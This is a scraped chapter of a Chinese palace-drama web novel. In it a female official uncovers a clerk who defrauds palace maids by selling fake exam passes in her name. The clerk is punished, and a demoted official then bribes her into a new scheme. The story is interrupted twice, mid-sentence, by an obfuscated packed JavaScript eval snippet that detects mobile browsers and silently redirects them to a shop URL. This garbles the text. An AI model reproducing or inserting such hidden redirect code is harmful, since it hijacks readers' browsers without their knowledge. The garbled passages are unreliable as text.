这两天,她又骗到寿康宫的小宫女头上了,我发现了,暗中调查,才发现她已经骗了好多人。我想着,此事不宜闹大,怕连累你。所以,我先来告诉你,看能有什么妥善的方法处理。” “啊,怎么会这样?金萝那丫头,之前看我当了女官,曾来巴结过我,被我严词阻止了。后来,我跟她就没什么私下来往了。没想到,她竟打着我的旗号骗人?那被骗的小宫女们,岂非以为我是一个收受贿赂、徇私舞弊的女官了?” “就是说呢,你得赶紧阻止她,把钱还给那些小宫女,挽回自己的名声。” “逢春姐姐,你有受骗者的名单吗?” “我只知道十来个受骗的小宫女的姓名,但是受害者是不是只有这么多,我就不清楚了。” 逢春把自己知道的小宫女的姓名、住址都写了下来。 秦惜音感激地说:“谢谢逢春姐姐,否则这事要是被别人捅出来了,我就难做人了。” “不用客气,你也帮过我很多。太后那边还有事要忙,我先走了。” 秦惜音看着这张名单,知道今天肯定是休息不了了。 她决定一个一个去找受骗者,先把情况了解清楚。 她先找到了一个叫红桃的小宫女,问道:“金萝是不是收了你的贿赂,谎称我会帮你通过女官考试?” 谁知,红桃却有些慌张地说:“没有啊……” “你如此慌张,分明是撒谎。你别紧张,我跟金萝不是一伙的,她打着我的名号骗你们。我可以告诉你,女官考试公平公正,没有作弊的可能性。哪怕你认识五品女官都没用,考不上就是考不上,谁都不能篡改成绩。 你是受害者,说出实情,我不会怪你的。我可以先把你损失的钱垫付给你。” 可是,红桃只是拼命摇头:“没有,真的没有此事……秦典籍,您不要再问了。” 秦惜音心想,是不是自己太严肃了,所以这小宫女不敢说出实情。 于是,她放缓了语气,又问了几遍。 可是,红桃就是不承认,反而越来越害怕,到最后几乎快哭出来了。 秦惜音不明白,自己有这么可怕吗?这小宫女为何不敢说出实情?难道她怕金萝会报复她? 可是,金萝没什么靠山,应该没法把小宫女吓到这种程度吧? 秦惜音只得送了红桃一些糕点,安慰她几句,然后去找下一个受骗者。 可是,她一连找了好几个受骗者,她们的反应都跟红桃差不多,慌慌张张地否认这件事。 在宫里,行贿确实是个严重的罪名。但秦惜音已经再三保证,不会追究她们的责任了,她们还是不敢说。 难道,真的没有这回事?是逢春在骗自己? 不,这不可能…… 逢春已经跟秦惜音交好,不可能再搞什么事来害秦惜音。 再说了,逢春捏造这件事,对她自己又有什么好处?最多只能耽误秦惜音一点调查的时间,对秦惜音也造不成什么影响,反而会重新破坏她和秦惜音之间的信任。 再者,逢春写下这份名单的时候,没有犹豫和停顿。要么就是她真的去调查过,所以知道谁是受害者;要么就是她提前把这些人名记了很多遍,所以才能流畅地写出来。 但是,还是一样的,如果是后一种可能,她做这件事没有什么意义。 如果逢春没说谎,那就是那些小宫女说谎了…… 秦惜音不明白,她们到底在害怕什么。自己好歹是司籍司的女官,金萝只是司籍司的女史,难道她们更害怕金萝不成? 秦惜音觉得,如果要知道真相,恐怕只能现场抓到金萝骗人,才能让金萝招供了,也能明白受骗者这么害怕的原因。 于是,她偷偷找了冷宫的小太监双喜,给他一笔钱,让他找几个关系好的宫人,一起跟踪金萝。如果发现金萝有骗人的行为,立刻回来禀告自己。 双喜点了点头,保证自己会完成任务。 接下来的日子,秦惜音继续忙碌,没发生什么。 几天后,双喜在集贤殿书院探头探脑,不住地看向秦惜音。 秦惜音注意到他的目光,便走到了门口,问道:“是不是有结果了?” 双喜点了点头,也不解释什么,直接拉着秦惜音跑。 秦惜音猜测,这会金萝可能正在欺骗别的小宫女,所以双喜要拉自己亲自去看,晚了就看不着了。 于是,秦惜音也用尽全身力气跑着。 跑了一会,两人来到一堵偏僻的宫墙外。 双喜指了指里面,让秦惜音看。 秦惜音和双喜两个人,偷偷探出脑袋,往里面看去。 只见金萝在里面,拉着一个小宫女说话。 那小宫女道:“谢谢金萝姐姐,但我还是想靠自己……” 金萝道:“你知道每次考女官的人有多少吗?你靠自己,猴年马月也考不上。现在机会就摆在你面前,你自己决定吧。” “但是……十两银子,还是有点多……” “我知道你们这些小宫女没钱,但你可以去借啊。凑够十两银子,我交给秦典籍,让她帮忙在下次考试的时候把你给录取了。” 这小宫女低头思索,还没下定决心。 这时,秦惜音再也忍不了了,冲了出去,冷笑道:“金萝,你挺厉害的啊。” 金萝瞬间吓得脸色发白,勉强笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751635|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“惜音姐姐,你怎么来了?” “谁是你姐姐?我是女官,你好歹得叫我一声秦典籍才是。我跟你非亲非故的,你怎么就拉大旗作虎皮,骗起小宫女来了?如果今天不是我亲眼所见,我还不信呢。” 金萝结结巴巴地辩解:“惜……秦典籍,不是您想的那样……” “不是我想的那样?在场听到的,可不止我一个。双喜,你也出来吧。” 双喜也走了过来,说道:“我也听见了。” 接着,双喜对四周大喊:“藏着的兄弟们都出来吧。” 很快,从树后、假山后、石桌底下等地方,钻出四五个小太监来。 他们都说道:“我们也听见了。” 金萝吓出了冷汗,她没想到自己刚才的行为,竟被这么多人看见了。 她手心全是汗,咬着嘴唇,不知道该说什么。 秦惜音对她说道:“金萝,你是现在自己交代呢,还是让这些小太监把你做的好事传扬出去?事情闹大了,我可就保不了你了。” 金萝赶紧跪下,哀求秦惜音:“秦典籍,我也是一时糊涂,求您饶了我……” 这时,金萝身边的那个小宫女道:“这……这是怎么回事?” 秦惜音道:“如你所见,我跟金萝不是一伙的,她一直用我的名号骗人。如果你今天真的给了她十两银子,钱就打了水漂了。” 这小宫女如梦初醒,连声道谢:“谢谢……谢谢……那……我先走了?” 秦惜音道:“你先别走,你是关键证人,一会跟我去司籍司作证。” “是……” 秦惜音又问金萝:“你骗了多少宫女了?” 金萝抬头看了秦惜音一眼,不敢说话。 秦惜音道:“你现在不招,我一会把你交给长官们,她们有的是办法让你招,只是没有现在这么舒坦了。” 金萝赶紧说道:“二十多个……” 秦惜音有些震惊:“你骗了二十多个人?这么说,你骗到了二百多两?” “不止……看见有钱的宫女,我会多骗一些……一共骗了三百多两银子。” “……” 秦惜音扶额。她没想到,这个金萝如此胆大。 她问道:“你为什么要这么做?” “我……我再过几个月就要出宫成亲了,我想给自己攒嫁妆……” “攒嫁妆是你这么攒的吗?” 金萝无言以对。 秦惜音又问道:“你到底跟之前那些小宫女们说什么了,我去找她们,她们都不敢说出实情。” “我跟她们说,交钱就能通过考试,秦典籍也是担了风险的。所以,她们千万不能把这件事泄露出去,否则秦典籍会用残忍的手段折磨她们。如果秦典籍亲自来问,她们更不能说,因为那是秦典籍测试她们是否守口如瓶的手段。” “……” 秦惜音真的很佩服金萝的逻辑。在骗人的时候,金萝简直聪明无比。 怪不得那些小宫女都不敢跟秦惜音说实情,原来她们都以为自己是故意去问,就为了测试她们会不会说出这件事,说出实情就会受罚。 秦惜音又问道:“为什么那些宫女认为我有办法折磨她们?” 109. 宽大处理 金萝说道:“因为我跟那些小宫女说,秦典籍是一个很有背景、很有人脉的人,所以才能在短短一年时间里,从宫女成为女官,还顺利晋升为六品女官。我跟她们说,秦典籍在第一次参加女官考试的时候,比第二名高出八十多分,是因为……因为秦典籍早就知道答案,也因为秦典籍背后有人撑腰,所以评卷的女官们才给她高分……所以,像秦典籍这样的人,要弄死一个小宫女是很容易的……” 秦惜音:“……” 秦惜音看向金萝,心情复杂地说道:“原来我这么有背景,我自己都不知道。” “秦典籍,您就念在我是初犯的份上,饶了我吧……” “你骗了二十多个人,现在跟我说是初犯?” “我……我知道您很善良,求您帮帮我……” “这件事,我也是受害者吧?” “秦典籍,求您饶了我……我愿意把骗来的钱如数归还,求您不要把这事闹大……如果我是被赶出宫的,名声就坏了,我的未婚夫一定会跟我退婚的……” “你到底是怎么想的?你这样骗人,难道不怕事情暴露吗?” “因为我已经用巧妙的话术恐吓过那些小宫女,我以为不会暴露……等她们参加女官考试,没有通过的时候,我早就已经出宫了,她们也找不到我,只能吃哑巴亏……没想到,现在我就被抓到了……” 秦惜音摇了摇头,说道:“我把你交给沈司籍处置吧,看她怎么说。” 金萝虽然有些害怕,但也不敢反抗,只能跟着秦惜音走了。 秦惜音来到沈芦叶房中,说明前因后果。 沈芦叶惊讶道:“还有这种事?金萝,你……” 金萝磕头道:“属下知道错了,还请不要重罚我……” “这样吧,你把骗来的钱如数归还,并给每个受骗者一吊钱作为补偿。我可以不声张出去,让你继续当女史。只不过,一个月之后,你就要出宫。以后,也不得再参加宫里的女官考试。念在你是司籍司的人,我就不跟两位尚仪说了。” “谢谢沈司籍……我可以两个月后再出宫吗?这样,我能多挣一个月的工钱……我的婚期是在两个月之后……” “你还讨价还价上了,不行。” 金萝不再说话,准备离开。 沈芦叶叫住她,说道:“你还忘了一件事,给秦典籍道歉。” 金萝给秦惜音道了歉,秦惜音道:“既然沈司籍宽大处理,你以后记住这个教训就行,别再做这种事了。这一个月在司籍司里,你还是要好好干活的。” “是。” 金萝离开了。 沈芦叶叫住秦惜音,道:“秦典籍,你留一下,我有事跟你说。” “是。” 沈芦叶叫秦惜音坐在自己对面,给她倒了一杯茶,说道:“当你有了一定地位之后,身边就会出现各种各样的人,你要学会辨别。其实,早在金萝跟你套近乎,想从你这儿谋利的时候,你就该对她多留个心眼了。 心思单纯的人,见了长官,肯定不会一口一个姐姐的叫。如果你之前对金萝多关注几分,也许早在她一开始骗人的时候,你就发现了,不会发展到现在这个地步。” 秦惜音点头道:“沈司籍说的是,下官记下了。之前,下官也曾提醒过金萝,让她把心思放在工作上就是。后来,她就不来套近乎了。我以为,她已经改了。没想到……” “像金萝这种会顺着杆子往上爬的人,绝不是你三言两语能改变的。好在,这次的事没叫两位尚仪大人知道。否则,她们可能会连你一起责罚。金萝也只能留一个月的时间了,以后应该掀不起什么浪。 你以后不要只顾着干活,也得学习驭人之术,了解自己的下属都是什么样的人。” “是。” 秦惜音真诚道谢后,就回到了房间。 这时已经是傍晚,没法出宫了。 她虽然想见高毅,也只能等下一次的休息日了。 ———— 另一边,金萝被沈司籍的心腹押着,分别去找被骗的小宫女,不仅要把钱还给她们,还要补偿这些小宫女们每人一吊钱,并向她们道歉。 小宫女们得知金萝是欺骗她们之后,气愤者有之,失望者有之,但看见沈司籍的心腹也在,就没说什么,拿了钱就走了。 等退回了所有的款项,已经是晚上了。 沈司籍的几个心腹离开了,她们让金萝自己回房。 金萝却没回去,而是坐在一个无人的花园里,偷偷抹眼泪。 她本来已经骗了不少钱,觉得自己成亲后一定能过好日子。没想到现在,她失去了骗来的钱,还赔出去那么多钱。 她的积蓄本就不多,现在更是雪上加霜了。 这时,有人问道:“金萝,你在做什么?” 金萝抬头,见是八品掌籍贺粲,连忙起身道:“贺司籍……不是,贺掌籍,我没在干什么。” 贺粲本来是六品司籍,后来因牵连进宫妃梧桐之死,被降为八品掌籍。 金萝还没习惯,所以刚才叫错了,贺粲心中也是一沉。被降位是她心中的隐痛,她自己也还没习惯。 但是,贺粲没有表现出不满,反而问道:“我看你在哭,一定有事。有什么我能帮上忙的吗?” 金萝就把今天发生的事说了。她虽然不愿意说出这种不光彩的事,但她觉得贺粲既然是女官,很容易打听到今天发生了什么,倒不如现在说出来。 反正沈司籍都说金萝可以再留一个月,不用被赶出去,想必贺粲也不会说什么。 贺粲听完后,没有批评金萝,反而说道:“原来是你为这事难过,这根本不算什么。你既然想多攒点钱,我可以给你钱,但你要帮我做一件事。” “什么?” 贺粲在她耳边说了几句话。 金萝惊讶道:“这……这能行吗?万一被发现的话……” “只要你做得隐秘,就不会被发现。事成之后,我会给你三百两银子。” 金萝犹豫了一会,终于点了点头。 ———————— 秦惜音照旧在集贤殿书院破译木羌族的文字。 连着几天,没有任何进展,秦惜音心中有些烦躁。 有位年长的学士看出来了,安慰道:“秦典籍不必着急,这活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752684|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来就很难,好几天破译不了新字也是常有的。像你之前那样接连破译十来个字,反而是少见的情况。” 秦惜音点头道:“嗯,是我太急躁了。只是,这木羌族的史料也太少了些,连个懂木羌族语言的人都找不到,让我们的工作增加了不少难度。” “没办法,木羌族人口本就不多,全盛时期,在草原上也排不上号。所以,没什么人会专门研究学习木羌族的语言文化。后来木羌族灭亡了,自然就没人会说他们的话了。” “既然如此,我们在这里研究木羌族的文字有何意义?” “任何族群都有壮大或消散的可能,但只要有文字、史料流传下来,就不用惧怕肉身的消亡。也许破译了木羌族的文字,在短时间内用不上,但对整个文化传承来说,是有意义的。 也许,后世有人对木羌族感兴趣,见到了我们破译出来的文字,能更方便地了解木羌族,这也是我们的功德了。” 秦惜音点了点头,觉得自己又学到了很多。 —————— 最近压力大,难以入睡,秦惜音每天都点一支安神香才能睡着。 内府局送来的安神香很不错,只需几息工夫,就能安稳入睡。 这天,秦惜音在看书的时候,忽然觉得眼睛酸涩。她揉了揉眼睛,却不自觉地流下眼泪。 这并不是悲伤导致的,更像是用眼过度导致的。 因此,她只能稍作休息,走到外面看看花草树木。 过了一会,她继续走回集贤殿书院,认真地看书。可是,书上的字迹突然有些模糊。 她为了看清楚,只能更加用心地观看。 可是,越是集中精神,她的双眼越酸,也流下了更多的眼泪。 旁边的人见状,都劝说道:“秦典籍,您要是累了,就休息一会吧。” 秦惜音道:“奇怪,怎么会这样……我昨晚明明睡得很好,现在还是早上,怎么就用眼过度了?” “要不您小睡片刻吧,反正不差这一时半会的。” “也好。” 秦惜音倚着桌子,浅睡片刻。她本来也不困,更何况这里有这么多学士在忙活,时常有一些细碎的声音传到她耳中,她也没有睡得太深。 约莫两炷香功夫,她就自己醒来了,重新看书。 现在,倒是能看清字了,只是双眼还是有一些酸疼的感觉。 她也没在意,觉得可能是自己最近太辛苦了。 等忙完了这个活,就好好休息一下。 可是,接下来几天,她的眼睛还是经常看不清字,流泪的时候也越来越多了。 秦惜音没办法,只好请尚食局的女医帮自己看一下。 女医说,这像是用眼过度的症状,最好能彻底休息一阵子,再吃点清肝明目的药。 可是,秦惜音现在任务在身,每天只能挤一点时间来休息。如果要休息比较长的时间,是不可能的。 女医说道:“我有一个建议,说出来你别怪我。其实,我觉得,你就辞了这个女官不做,也没什么。荣华富贵总没有身体要紧,你要是再这么熬下去,熬出了眼疾,就更难治了。”